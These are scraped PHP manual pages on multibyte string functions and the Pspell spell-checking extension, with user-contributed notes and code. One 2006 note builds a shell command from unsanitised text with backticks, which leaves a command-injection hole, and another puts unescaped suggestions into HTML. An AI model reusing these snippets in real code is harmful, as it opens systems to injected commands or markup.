Please note, that in many cases, forcing UTF-8 encoding with second parameter is necessary. PHP documentation states that if this parameter is omitted, the internal character encoding value will be used. But in my case it turned out to be not true. Even though I have all my pages encoded in UTF-8 and my DB connection set to force UTF-8 encoding, comparison of user-input and DB-retrieved data, which is using mb_strtoupper, did not work until I forced encoding.
rai at philscan dot com 10-Aug-2009 12:33
for some reason, there are instances that special characters do show when you use this function, but when you revisit or refresh the page the special characters doesn't appear anymore, ie GRSARMERING is being displayed instead of GRÆSARMERING. You have to provide the second parameter which charset you are using to override the value. in my case it's iso-8859-1, so the function would now look like

mb_strtoupper($foo, 'iso-8859-1')
oriol dot torras at mobifriends dot com 24-Nov-2008 06:13
UTF-8 does not support html entities
&oacute; is ó in UTF-8
cyril dot legret at free dot no-spam dot fr 25-Feb-2005 01:40
Be careful with htmlentities ...
<?
echo mb_strtoupper("L'&eacute;l�phant", "utf-8");
?>
output : L'&EACUTE;L�PHANT
mb_strtolower
mb_strwidth
Multibyte String Functions


Return width of string

mb_strtoupper
mb_substitute_character
Multibyte String Functions
PHP Manual

mb_strwidth

(PHP 4 >= 4.0.6, PHP 5)

mb_strwidth — Return width of string

Description

int mb_strwidth ( string $str [, string $encoding ] )

Returns the width of string str.

Multi-byte characters are usually twice the width of single byte characters.

Characters width
Chars | Width
U+0000 - U+0019 | 0
U+0020 - U+1FFF | 1
U+2000 - U+FF60 | 2
U+FF61 - U+FF9F | 1
U+FFA0 - | 2

Parameters

str

The string being decoded.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The width of string str.

See Also

  • mb_strimwidth() - Get truncated string with specified width
  • mb_internal_encoding() - Set/Get internal character encoding

User Contributed Notes

larry1chan at gmail dot com 06-Feb-2008 10:38
to convert a multi-byte character into hex strings:

$b = "現，市民派利市的習慣亦有所改變";

    printf("length of string: %d <br>", mb_strlen($b, 'UTF-8'));
    for ($i=0; $i < mb_strlen($b, 'UTF-8'); $i++){
        $ch = mb_substr($b, $i, 1, 'UTF-8');
        $chlen = mb_strwidth($ch, 'UTF-8');
        $hexs = '';
        for ($j=0; $j < $chlen; $j++)
            $hexs = $hexs . sprintf("%x", ord($ch[$j]));
        printf ("width=%d => '%s' |hex=%s<br>", $chlen, $ch, $hexs );

    }
Anonymous 31-Oct-2007 04:27
Note: mb_strwidth is NOT returning bytes.  It's returning the width of monotype characters.  (In some languages, some characters will take up 2 character widths if displayed in monotype.)
mb_strtoupper
mb_substitute_character
Multibyte String Functions


Set/Get substitution character

mb_strwidth
mb_substr_count
Multibyte String Functions
PHP Manual

mb_substitute_character

(PHP 4 >= 4.0.6, PHP 5)

mb_substitute_character — Set/Get substitution character

Description

mixed mb_substitute_character ([ mixed $substrchar ] )

Specifies a substitution character when input character encoding is invalid or character code does not exist in output character encoding. Invalid characters may be substituted NULL (no output), string or integer value (Unicode character code value).

This setting affects mb_convert_encoding(),
mb_convert_variables(),
mb_output_handler(),
and mb_send_mail().

Parameters

substrchar

Specify the Unicode value as an integer, or as one of the following strings:

  • "none" : no output
  • "long" : Output character code value (Example: U+3000, JIS+7E7E)
  • "entity" : Output character entity (Example: Ȁ)

Return Values

If substchar is set, it returns TRUE for success, otherwise returns FALSE. If substchar is not set, it returns the Unicode value, or "none" or "long".

Examples

Example #1 mb_substitute_character() example

<?php
/* Set with Unicode U+3013 (GETA MARK) */
mb_substitute_character(0x3013);

/* Set hex format */
mb_substitute_character("long");

/* Display current setting */
echo mb_substitute_character();
?>

User Contributed Notes

There are no user contributed notes for this page.
mb_strwidth
mb_substr_count
Multibyte String Functions


Count the number of substring occurrences

mb_substitute_character
mb_substr
Multibyte String Functions
PHP Manual

mb_substr_count

(PHP 4 >= 4.3.0, PHP 5)

mb_substr_count — Count the number of substring occurrences

Description

int mb_substr_count ( string $haystack , string $needle [, string $encoding ] )

Counts the number of times the needle substring occurs in the haystack string.

Parameters

haystack

The string being checked.

needle

The string being found.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The number of times the needle substring occurs in the haystack string.

Examples

Example #1 mb_substr_count() example

<?php
echo mb_substr_count("This is a test", "is"); // prints out 2
?>

See Also

  • mb_strpos() - Find position of first occurrence of string in a string
  • mb_substr() - Get part of string
  • substr_count() - Count the number of substring occurrences

User Contributed Notes

There are no user contributed notes for this page.
mb_substitute_character
mb_substr
Multibyte String Functions


Get part of string

mb_substr_count
Pspell
Multibyte String Functions
PHP Manual

mb_substr

(PHP 4 >= 4.0.6, PHP 5)

mb_substr — Get part of string

Description

string mb_substr ( string $str , int $start [, int $length [, string $encoding ]] )

Performs a multi-byte safe substr() operation based on number of characters. Position is counted from the beginning of str. First character's position is 0. Second character position is 1, and so on.

Parameters

str

The string to extract the substring from.

start

Position of first character to use from str.

length

Maximum number of characters to use from str.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

mb_substr() returns the portion of str specified by the start and length parameters.

See Also

  • mb_strcut() - Get part of string
  • mb_internal_encoding() - Set/Get internal character encoding

User Contributed Notes

p dot assenov at aip-solutions dot com 02-Dec-2011 09:17
I'm trying to capitalize only the first character of the string and tried some of the examples above but they didn't work. It seems mb_substr() cannot calculate the length of the string in multi-byte encoding (UTF-8) and it should be set explicitly. Here is the corrected version:

<?php
function mb_ucfirst($str, $enc = 'utf-8') {
    return mb_strtoupper(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
?>

cheers!
levani9191 at gmail dot com 18-Jul-2010 03:37
A simple code that check if the latest symbol in the string is a question mark and adds one if it doesn't...

<?php $string = (mb_substr($string, -1, 1, 'UTF-8') != '?') ? $string.'?' : $string; ?>
Anonymous 26-Feb-2010 05:15
If start  is negative, the returned string will start at the start'th character from the end of string
dziamid at gmail dot com 06-Feb-2009 08:27
Here is my solution to highlighting search queries in multibyte text:

<?php
function mb_highlight($data, $query, $ins_before, $ins_after)
{
 $result = '';
 while (($poz = mb_strpos(mb_strtolower($data), mb_strtolower($query))) !== false)
 {
       $query_len = mb_strlen ($query);
       $result .= mb_substr ($data, 0, $poz).
               $ins_before.
               mb_substr ($data, $poz, $query_len).
               $ins_after;
       $data = mb_substr ($data, $poz+$query_len);
 }
 return $result;
}
?>

Enjoy!

[EDIT BY danbrown AT php DOT net: Reclassified to a more appropriate function manual page.]
projektas at gmail dot com 21-Oct-2008 06:29
First letter in upper case <hr />

<?php
header ('Content-type: text/html; charset=utf-8');

if (isset($_POST['check']) && !empty($_POST['check'])) {
    echo htmlspecialchars(ucfirst_utf8($_POST['check']));
} else {
    echo htmlspecialchars(ucfirst_utf8('Žąsinų'));
}

function ucfirst_utf8($str) {
    if (mb_check_encoding($str,'UTF-8')) {
        $first = mb_substr(
            mb_strtoupper($str, "utf-8"),0,1,'utf-8'
        );
        return $first.mb_substr(
            mb_strtolower($str,"utf-8"),1,mb_strlen($str),'utf-8'
        );
    } else {
        return $str;
    }
}
?>

<form method="post" action="" >
    <input type="input" name="check" />
    <input type="submit" />
</form>
Silvan 01-Sep-2007 03:30
Passing null as length will not make mb_substr use it's default, instead it will interpret it as 0.
<?php
mb_substr($str,$start,null,$encoding); //Returns '' (empty string) just like substr()
?>
Instead use:
<?php
mb_substr($str,$start,mb_strlen($str),$encoding);
?>
xiaogil at yahoo dot fr 02-Aug-2005 08:33
Thanks Darien from /freenode #php for the following example (a little bit changed).

It just prints the 6th character of $string.
You can replace the digits by the same in japanese, chinese or whatever language to make a test, it works perfect.

<?php
mb_internal_encoding("UTF-8");
$string = "0123456789";
$mystring = mb_substr($string,5,1);
echo $mystring;
?>

(I couldn't replace 0123456789 by chinese numbers for example here, because it's automatically converted into latin digits on this website, look :
&#38646;&#19968;&#20108;&#19977;&#22235;
&#20116;&#20845;&#19971;&#20843;&#20061;)

gilv
drraf at tlen dot pl 23-Feb-2005 06:44
Note: If borders are out of string - mb_string() returns empty _string_, when function substr() returns _boolean_ false in this case.
Keep this in mind when using "===" comparisions.

Example code:
<?php

var_dump( substr( 'abc', 5, 2 ) ); // returns "false"
var_dump( mb_substr( 'abc', 5, 2 ) ); // returns ""

?>

It's especially confusing when using mbstring with function overloading turned on.
mb_substr_count
Pspell
Multibyte String Functions


Pspell

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Pspell Functions
    • pspell_add_to_personal — Add the word to a personal wordlist
    • pspell_add_to_session — Add the word to the wordlist in the current session
    • pspell_check — Check a word
    • pspell_clear_session — Clear the current session
    • pspell_config_create — Create a config used to open a dictionary
    • pspell_config_data_dir — location of language data files
    • pspell_config_dict_dir — Location of the main word list
    • pspell_config_ignore — Ignore words less than N characters long
    • pspell_config_mode — Change the mode number of suggestions returned
    • pspell_config_personal — Set a file that contains personal wordlist
    • pspell_config_repl — Set a file that contains replacement pairs
    • pspell_config_runtogether — Consider run-together words as valid compounds
    • pspell_config_save_repl — Determine whether to save a replacement pairs list along with the wordlist
    • pspell_new_config — Load a new dictionary with settings based on a given config
    • pspell_new_personal — Load a new dictionary with personal wordlist
    • pspell_new — Load a new dictionary
    • pspell_save_wordlist — Save the personal wordlist to a file
    • pspell_store_replacement — Store a replacement pair for a word
    • pspell_suggest — Suggest spellings of a word

User Contributed Notes

maurice at salesday dot nl 10-Mar-2011 03:06
As of php 5.3. Pspell is no longer supported/bundled. Instead you can use the enchant which is bundled by default in 5.3.
mb_substr
Introduction
Human Language and Character Encoding Support


Introduction

These functions allow you to check the spelling of a word and offer suggestions.

User Contributed Notes

There are no user contributed notes for this page.
Pspell
Installing/Configuring
Pspell


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Pspell


Requirements

To compile PHP with pspell support, you need the aspell library, available from » http://aspell.net/.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

If you have the libraries needed add the --with-pspell[=dir] option when compiling PHP.

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: aspell-15.dll from the bin folder of the aspell installation.

Win32 support is available only in PHP 4.3.3 and later versions. Also, at least aspell version 0.50 is required.

User Contributed Notes

juliusdavies at gmail dot com 18-Mar-2009 04:06
Aspell + PHP + Windows was giving me just crazy crashes with this simple test file:

<?php
$pspell_link = pspell_new("en");
?>

Running "php -f test.php" directly from a DOS prompt shed some light:

----------------
The file "C:\Program Files\Aspell\data/iso8859-1.dat" can not be opened for reading.pell\dict/en-only.rws:
----------------

To fix it I needed to "dos2unix" all the files in Aspell's C:\Program Files\Aspell\data\ directory.  (Convert them from CRLF to just LF line endings).
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

PSPELL_FAST (integer)
PSPELL_NORMAL (integer)
PSPELL_BAD_SPELLERS (integer)
PSPELL_RUN_TOGETHER (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Pspell Functions
Pspell


Pspell Functions

Table of Contents

  • pspell_add_to_personal — Add the word to a personal wordlist
  • pspell_add_to_session — Add the word to the wordlist in the current session
  • pspell_check — Check a word
  • pspell_clear_session — Clear the current session
  • pspell_config_create — Create a config used to open a dictionary
  • pspell_config_data_dir — location of language data files
  • pspell_config_dict_dir — Location of the main word list
  • pspell_config_ignore — Ignore words less than N characters long
  • pspell_config_mode — Change the mode number of suggestions returned
  • pspell_config_personal — Set a file that contains personal wordlist
  • pspell_config_repl — Set a file that contains replacement pairs
  • pspell_config_runtogether — Consider run-together words as valid compounds
  • pspell_config_save_repl — Determine whether to save a replacement pairs list along with the wordlist
  • pspell_new_config — Load a new dictionary with settings based on a given config
  • pspell_new_personal — Load a new dictionary with personal wordlist
  • pspell_new — Load a new dictionary
  • pspell_save_wordlist — Save the personal wordlist to a file
  • pspell_store_replacement — Store a replacement pair for a word
  • pspell_suggest — Suggest spellings of a word

User Contributed Notes

golotyuk at gmail dot com 24-Dec-2009 01:40
Manuall php installation on Debian/Ubuntu will require you to:

apt-get install libpspell-dev
zeno 07-Sep-2008 07:06
Debian to install the package (English dictionary):

> apt-get install php5-pspell
> apt-get install aspell-en

restart apache
dylan at wedefy dot com 18-Oct-2007 05:36
preg_replace_callback() is the best way I found to check words in a large text and change the HTML color of words that are not found.  Here is a script I wrote which does just that, and optionally uses pspell_suggest() to auto-correct. I would love to write a better regex to ignore <text inside xml tags>, but that really isn't as easy as it sounds...
<?php
$pspell = pspell_new('en','canadian','','utf-8',PSPELL_FAST);

function spellCheckWord($word) {
    global $pspell;
    $autocorrect = TRUE;

    // Take the string match from preg_replace_callback's array
    $word = $word[0];

    // Ignore ALL CAPS
    if (preg_match('/^[A-Z]*$/',$word)) return $word;

    // Return dictionary words
    if (pspell_check($pspell,$word))
        return $word;

    // Auto-correct with the first suggestion, color green
    if ($autocorrect && $suggestions = pspell_suggest($pspell,$word))
        return '<span style="color:#00FF00;">'.current($suggestions).'</span>';

    // No suggestions, color red
    return '<span style="color:#FF0000;">'.$word.'</span>';
}

function spellCheck($string) {
    return preg_replace_callback('/\b\w+\b/','spellCheckWord',$string);
}

echo spellCheck('PHP is a reflecktive proegramming langwage origenaly dezigned for prodewcing dinamic waieb pagges.');
?>
OUTPUT: PHP is a reflective programming language originally designed for producing dynamic Web pages.
fragment 11-Apr-2007 10:12
To get round the error on Windows where the word list can't be found inside functions, take the call to pspell_new() out of the function and pass the return value to your function, i.e.

<?
function testSpell($pspell_link) {
    echo pspell_check($pspell_link, "test") ? 'OK' : 'Not OK';
}
$pspell_link = pspell_new("en");
testSpell($pspell_link);
?>
Alan Dunsmuir<alan at moonrake dot demon dot co dot uk> 14-Mar-2007 01:28
There appears to be a problem currently affecting PSpell functionality on Windows machines.

Currently, the compiled build of PHP5 for Windows does not by default include PSpell, and to activate these functions the Windows user has to (a) install GNU ASpell; (b) copy the file aspell-15.dll to a directory in the Windows "Path" statement (typically C:\Windows\System32); (c) install one or more ASpell dictionaries; (d) enable the PSpell extension to PHP by adding a reference to php_pspell.dll in the php.ini file, and moving the file itself to the main PHP directory.

However, when this has all been done and PSpell appears to have been fully activated, there remains a problem. While all the PSpell functions work as specified when referenced from the "main" body of PHP code, if they are placed within a PHP function, the system reports that it is unable to find any word lists for the specified dictionary (whichever one is chosen).

I have a sample of PSpell-using code (taken from the SAMS book PHP 5 In Practice) which works perfectly on a Unix-based Web Server, but which fails with the indicated error message on a range of Windows machines.
sholland at napervillegi dot com 28-Oct-2006 11:48
Back in 10/2002 csnyder at chxo dot com wrote the first comment about the spell functions, and wrote a very sophisticated spell check with a direct call to aspell.  In a similar vein, I wrote a simplified a PHP function that will spell check a string and insert tags before and after the misspelled words. Auto-correction is not offered.

<?
function spellcheck($string) {
// Entry:    $string: Text to spellcheck.
// Returns: string with '<strong>' and '</strong>' inserted before and
//            after misspellings.

    $pre='<strong>'; // Inserted before each mis-spelling.
    $post='</strong>'; // Inserted after each mis-spelling.
    $string=strtr($string,"\n"," ");
        // Drop newlines in string. (It bothers aspell in this context.)
    $mistakes = `echo $string | /usr/local/bin/aspell list`;
        // Get list or errors.
    $offset=0;
    foreach (explode("\n",$mistakes) as $word)
        // Walk list, inserting $pre and $post strings.  I move along and
        // do the insertions, keeping track of the location.  A global replace
        // with str_replace($string,$pre.$work.$post) is problematic if the
        // same misspelling is found more than once.
        if ($word<>"") {
            $offset=strpos($string,$word,$offset);
            $string=substr_replace($string, $post, $offset+strlen($word), 0);
            $string=substr_replace($string, $pre, $offset, 0);
            $offset=$offset+strlen($word)+strlen("$pre $post");
            };
    return $string;};
?>

For this to work on your system, see if /usr/local/bin/aspell list runs from the shell.  It needs to get input from standard input.  You may not be able to run apell without the path for PHP because the PATH variable may be different in the PHP invocation from a shell invocation.
andrew at bluerhinos dot co dot uk 03-May-2006 03:28
If you use red hat or fedora, you may need to is use

  yum install pspell-devel

(fixes: configure: error: Cannot find pspell)
jeremy hepler 29-Mar-2006 12:01
compiling php with pspell on debian sarge:

apt-get install aspell libaspell15 libaspell-dev libpspell-dev

configure php:

./configure <your other options> --with-pspell=/usr

make & install

if previous tries have failed or it is not functioning properly, unpack the php source again and configure / compile in a fresh tree
beau_scott at hotmail dot com 30-Dec-2005 01:13
hehe, forgot to remove the echo $string line... whoops ;)

Should be:

<?
    /**
     * Checks spelling of $string. Whole phrases can be sent in, too, and each word will be checked.
     * Returns an associative array of mispellings and their suggested spellings
     * @param string $string Phrase to be checked
     * @return array
     */
    function checkSpelling ( $string )
    {
        // Make word list based word boundries
        $wordlist = preg_split('/\s/',$string);

        // Filter words
        $words = array();
        for($i = 0; $i < count($wordlist); $i++)
        {
            $word = trim($wordlist[$i]);
            if(!preg_match('/[A-Za-z]/', $word))
                continue;
            $word = preg_replace('/[^\w\']*(.+)/', '\1', $word);
            $word = preg_replace('/([^\W]*)[^\w\']*$/', '\1', $word);
            $word = trim($word);
            if(!in_array($word, $words, true))
                $words[] = $word;

        }
        $misspelled = $return = array();
        $int = pspell_new('en');

        foreach ($words as $value)
            if (!pspell_check($int, $value))
                $misspelled[] = $value;

        foreach ($misspelled as $value)
            $return[$value] = pspell_suggest($int, $value);

        return $return;
    }
?>
Gregory Boshoff 13-May-2005 04:23
If you are receiving the error message:
PSPELL couldn't open the dictionary. reason:
No word lists can be found for the language "en".

Add following lines prior to calling pspell_check:
$pspell_config = pspell_config_create("en");
$pspell_link = pspell_new_config($pspell_config);
flint at modulusgroup dot com 29-Dec-2004 02:19
For those will problems installing on Win32 with IIS:

Symptom: browser just hangs when calling pspell function. Running PHP.exe from command line causes pspell to claim that there is a corrupt file. Running Aspell works just fine on the command line.

You need new data files:

You can download and get more information about it here:
http://wiki.wordpress.org/SpellCheck

Just replace the data directory in C:\Programs Files\Aspell\ with the new data directory you downloaded.

No more problems.
tidd 28-Sep-2004 10:31
In response to csnyder's comment about calling aspell instead of using the aspell or pspell libs:

If you are running a low traffic site this will work fine and it's a good idea.

If, however, you have many customers using your spell checking script, this method does not scale well and you should consider spending the time to make the libs work properly.
webmaster at script-tease dot net 11-Apr-2004 07:26
Easy way to make a spellchecker:

<?

function spellcheck ( $string ) {
    $words = preg_split('/[\W]+?/',$string);
    $misspelled = $return = array();
    $int = pspell_new('en');
    foreach ($words as $value) {
        if (!pspell_check($int, $value)) {
            $misspelled[] = $value;
        }
    }
    foreach ($misspelled as $value) {
        $return[$value] = pspell_suggest($int, $value);
    }
    return $return;
}

?>
jrweir _a_t_ yahoo 29-Mar-2004 11:15
I had the same problems after following the detailed instructions for installing on windows but was able to solve them by doing the following:

first, I copied all the files in the data directory of the aspell install (ie. C:\Program Files\Aspell\data) to a unix machine and ran dos2unix on all of the files and then copied them back.

second, added this line before the pspell_new("en") call
pspell_config_create("en");

hope this works for you too.
kevina at gnu dot org 12-Jan-2003 02:19
Aspell Author Here.

Since Aspell 0.50, Pspell is no longer used.  It is not necessary to download and install the Pspell package, only Aspell 0.50 (or better) is required.  Aspell now provided a backwards compatibility interface for programs expecting the old Pspell interface (such as PHP).

Even though Aspell now provided a new "Aspell" interface this, the PHP Pspell interface is the one you want to use.  The Aspell PHP interface is the one used with a *very* old version of Aspell as the manual says.

Sorry if this is confusing, but it is not really my fought as I have no control over PHP development.  Eventually a new Aspell interface should be provided for PHP which uses the new Aspell interface provided with Aspell 0.50 but for now the Pspell interface will work just fine.

Note: If you wish to use an older version of Aspell (_before_ 0.50) than both Aspell and Pspell are required.
csnyder at chxo dot com 11-Oct-2002 12:37
As an alternative to mucking about with the compiled-in aspell/pspell functions, which only check word by word, one could write a script that calls aspell as a shell exec to check a whole block of text:

http://chxo.com/scripts/spellcheck.php
(there is a view-source option)

Not sure about Linux or Windows, but installing aspell on FreeBSD was trivially easy from the ports collection. No doubt such a script could be easily modified to use ispell instead if you'd rather.
Predefined Constants
pspell_add_to_personal
Pspell


Add the word to a personal wordlist

Pspell Functions
pspell_add_to_session
Pspell Functions
PHP Manual

pspell_add_to_personal

(PHP 4 >= 4.0.2, PHP 5)

pspell_add_to_personal — Add the word to a personal wordlist

Description

bool pspell_add_to_personal ( int $dictionary_link , string $word )

pspell_add_to_personal() adds a word to the personal wordlist. If you used pspell_new_config() with pspell_config_personal() to open the dictionary, you can save the wordlist later with pspell_save_wordlist().

Parameters

dictionary_link

word

The added word.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_save_wordlist($pspell_link);
?>

Notes

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.
Pspell Functions
pspell_add_to_session
Pspell Functions


Add the word to the wordlist in the current session

pspell_add_to_personal
pspell_check
Pspell Functions
PHP Manual

pspell_add_to_session

(PHP 4 >= 4.0.2, PHP 5)

pspell_add_to_session — Add the word to the wordlist in the current session

Description

bool pspell_add_to_session ( int $dictionary_link , string $word )

pspell_add_to_session() adds a word to the wordlist associated with the current session. It is very similar to pspell_add_to_personal()

Parameters

dictionary_link

word

The added word.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

admin at codefisher dot org 12-Sep-2007 01:08
This function does not accept hyphenated words, which is kind of annoying.
pspell_add_to_personal
pspell_check
Pspell Functions


Check a word

pspell_add_to_session
pspell_clear_session
Pspell Functions
PHP Manual

pspell_check

(PHP 4 >= 4.0.2, PHP 5)

pspell_check — Check a word

Description

bool pspell_check ( int $dictionary_link , string $word )

pspell_check() checks the spelling of a word.

Parameters

dictionary_link

word

The tested word.

Return Values

Returns TRUE if the spelling is correct, FALSE if not.

Examples

Example #1 pspell_check() Example

<?php
$pspell_link = pspell_new("en");

if (pspell_check($pspell_link, "testt")) {
    echo "This is a valid spelling";
} else {
    echo "Sorry, wrong spelling";
}
?>

User Contributed Notes

Jcart 05-Oct-2005 06:50
<?php

//should be using explode instead of implode
//$word = implode(" ", $message);
$word = explode(" ", $message);
foreach($word as $k => $v) {
   if (pspell_check($pspell_link, $v)) {
      echo "spelled right";
   } else {
      echo "Sorry, wrong spelling";
   };
};

?>
chris at candm dot org dot uk 12-May-2005 05:46
<?php
/*
I had to write these routines to highlight spellings in a WYSIWYG editor.
pspell() barfed at HTML tags and entities, so this code deals with them.
ClearSpell() allows you to clear up the spellchecker mark up afterwards.*/
?>
<html>
<head>
<style>
acronym.spell
{
text-decoration:underline;
color:red;
cursor:help;
}
</style>
</head>
<body>
<?php
    $t = "<font color=blue>text herre &amp; some more</font>";
    echo "Before:$t";
    $t = SpellCheck($t);
    echo "<hr>After SpellCheck: $t";
    $t = ClearSpell($t);
    echo "<hr>After ClearSpell: $t";
?>
</body>
</html>

<?php

function SpellCheck($text)
{
//depends on fnSpell()
// Extracts text from HTML code. In addition to normal word separators,  HTML tags
// and HTML entities also function as word delimiters

    $pspell_link = pspell_new("en"); //0. Get the dictionary
    $strings = explode(">", $text);  //1. Split $text on '>' to give us $strings with 0 or 1 HTML tags at the end
    $nStrings = count($strings);

    for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
    {
        $string = $strings[$cStrings]; //2. For each string from 1

        if ($string =='')
            continue;

        $temp  = explode('<', $string); //2.1   Split $string from $strings on '>' to give us a $tag and $cdata
        $tag = $temp[1];
        $cdata = $temp[0];

        $subCdatas = explode(";", $cdata);  //2.2 Split &cdata on ';' to give $subcdatas with 0 or 1 HTML entities on the end
        $nSubCdatas = count($subCdatas);    //2.3   For each $subCdata from $subcdatas in 2.2

        for ($cSubCdatas = 0; $cSubCdatas < $nSubCdatas; $cSubCdatas++)
        {
            $subCdata = $subCdatas[$cSubCdatas];

            if ($subCdata == '')
                continue;

            $temp = explode('&', $subCdata); //2.3.1     Split the $subCdata on '&' to give us a $subCdataEntity and a $subCdataWithNoEntities
            $subCdataEntity = $temp[1];
            $subCdataWithNoEntities = $temp[0];
            $subCdataWithNoEntities = fnSpell($pspell_link, $subCdataWithNoEntities); //2.3.2     Spellcheck the $cdataWithNoEntities

            if (!$subCdataEntity ) //2.3.3        Put the $subCdataEntity, a '&' and the $cdataWithNoEntities back into the $subCdata from 2.2
                $subCdata = $subCdataWithNoEntities;
            else
                $subCdata = $subCdataWithNoEntities. '&' . $subCdataEntity . ';' ;

            $subCdatas[$cSubCdatas] = $subCdata; //2.3.4        Put the $subCdata back into the array of $subCdatas
        }

        $cdata = implode("", $subCdatas); //2.4    Implode the array of $subCdatas back into the $cdata

        if ($tag) //2.5    Put the $tag , '>' and $cdata back into $string
            $string = $cdata . '<' . $tag . '>';
        else
            $string = $cdata;

        $strings[$cStrings] = $string; //2.6    Put $string back in its place in $strings
    }

    $text = implode('', $strings);     //3  Implode the $strings back into $text
    return $text;

}

function fnSpell($pspell_link, $string)
{

   preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

   for ($i = 0; $i < count($words[0]); $i++)
   {
        $currentword = $words[0][$i];

        if (!pspell_check($pspell_link, $currentword))
        {
            $wordarray = pspell_suggest($pspell_link, $currentword);
                $words = implode(', ', $wordarray);
                $suggest = "<acronym class='spell' title='$words'>$currentword</acronym class='spell'>";
            $string = str_replace($currentword, $suggest, $string);
        }

    }
    return $string;
}

function ClearSpell($text)
{
    $strings = explode(">", $text);
    $nStrings = count($strings);

    for ($cStrings=0; $cStrings < $nStrings; $cStrings++)
    {
        $string = $strings[$cStrings];

        if ($string =='')
            continue;

        $temp  = explode('<', $string);
        $tag = $temp[1];
        $cdata = $temp[0];

        if ( strstr($tag, 'acronym') && strstr($tag, "class='spell'") )
            $string = $cdata;
        else
            $string = $cdata . '<' . $tag . '>';

        $strings[$cStrings] = $string;
    }

    $text = implode('', $strings);
    return $text;
}
?>
si at youbeenx dot com 22-Mar-2005 05:32
I felt that it would help to expand on batch spell checking using this function. The previously posted example implodes using spaces as the separator for each word. There are however situations in which doing this will not return the desired result. For example, "Hello, I like coding." will return an array with two problems, "Hello," and "coding.", both these words are spelt correctly, but pspell_check() will deem them as spelled incorrectly because a comma or a period is being passed in to the function along with the word. The following example allows you to extract only the words (using regular expressions to ignore grammar such as periods or commas) in to an array and then add in html font tags to highlight all words spelled incorrectly red before returning the string.

<?

Function SpellCheck($string) {

    $pspell_link = pspell_new("en");
    preg_match_all("/[A-Z\']{1,16}/i", $string, $words);

    for ($i = 0; $i < count($words[0]); $i++) {

        if (!pspell_check($pspell_link, $words[0][$i])) {

            $string = str_replace($words[0][$i], "<font color=\"#FF0000\">" . $words[0][$i] . "</font>", $string);

        }

    }

    return $string;

}

?>
pspell_add_to_session
pspell_clear_session
Pspell Functions


Clear the current session

pspell_check
pspell_config_create
Pspell Functions
PHP Manual

pspell_clear_session

(PHP 4 >= 4.0.2, PHP 5)

pspell_clear_session — Clear the current session

Description

bool pspell_clear_session ( int $dictionary_link )

pspell_clear_session() clears the current session. The current wordlist becomes blank, and, for example, if you try to save it with pspell_save_wordlist(), nothing happens.

Parameters

dictionary_link

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pspell_add_to_personal() Example

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell_link = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell_link, "Vlad");
pspell_clear_session($pspell_link);
pspell_save_wordlist($pspell_link);    //"Vlad" will not be saved
?>

User Contributed Notes

There are no user contributed notes for this page.
pspell_check
pspell_config_create
Pspell Functions


Create a config used to open a dictionary

pspell_clear_session
pspell_config_data_dir
Pspell Functions
PHP Manual

pspell_config_create

(PHP 4 >= 4.0.2, PHP 5)

pspell_config_create — Create a config used to open a dictionary

Description

int pspell_config_create ( string $language [, string $spelling [, string $jargon [, string $encoding ]]] )

Create a config used to open a dictionary.

pspell_config_create() has a very similar syntax to pspell_new(). In fact, using pspell_config_create() immediately followed by pspell_new_config() will produce the exact same result. However, after creating a new config, you can also use pspell_config_*() functions before calling pspell_new_config() to take advantage of some advanced functionality.

For more information and examples, check out inline manual pspell website:» http://aspell.net/.

Parameters

language

The language parameter is the language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

spelling

The spelling parameter is the requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

jargon

The jargon parameter contains extra information to distinguish two different words lists that have the same language and spelling parameters.

encoding

The encoding parameter is the encoding that words are expected to be in. Valid values are 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. This parameter is largely untested, so be careful when using.

Return Values

Retuns a pspell config identifier, or FALSE on error.

Examples

Example #1 pspell_config_create()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell_link = pspell_new_personal($pspell_config, "en");
?>

User Contributed Notes

There are no user contributed notes for this page.
pspell_clear_session
pspell_config_data_dir
Pspell Functions


location of language data files

pspell_config_create
pspell_config_dict_dir
Pspell Functions
PHP Manual

pspell_config_data_dir

(PHP 5)

pspell_config_data_dir — location of language data files

Description

bool pspell_config_data_dir ( int $conf , string $directory )

Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

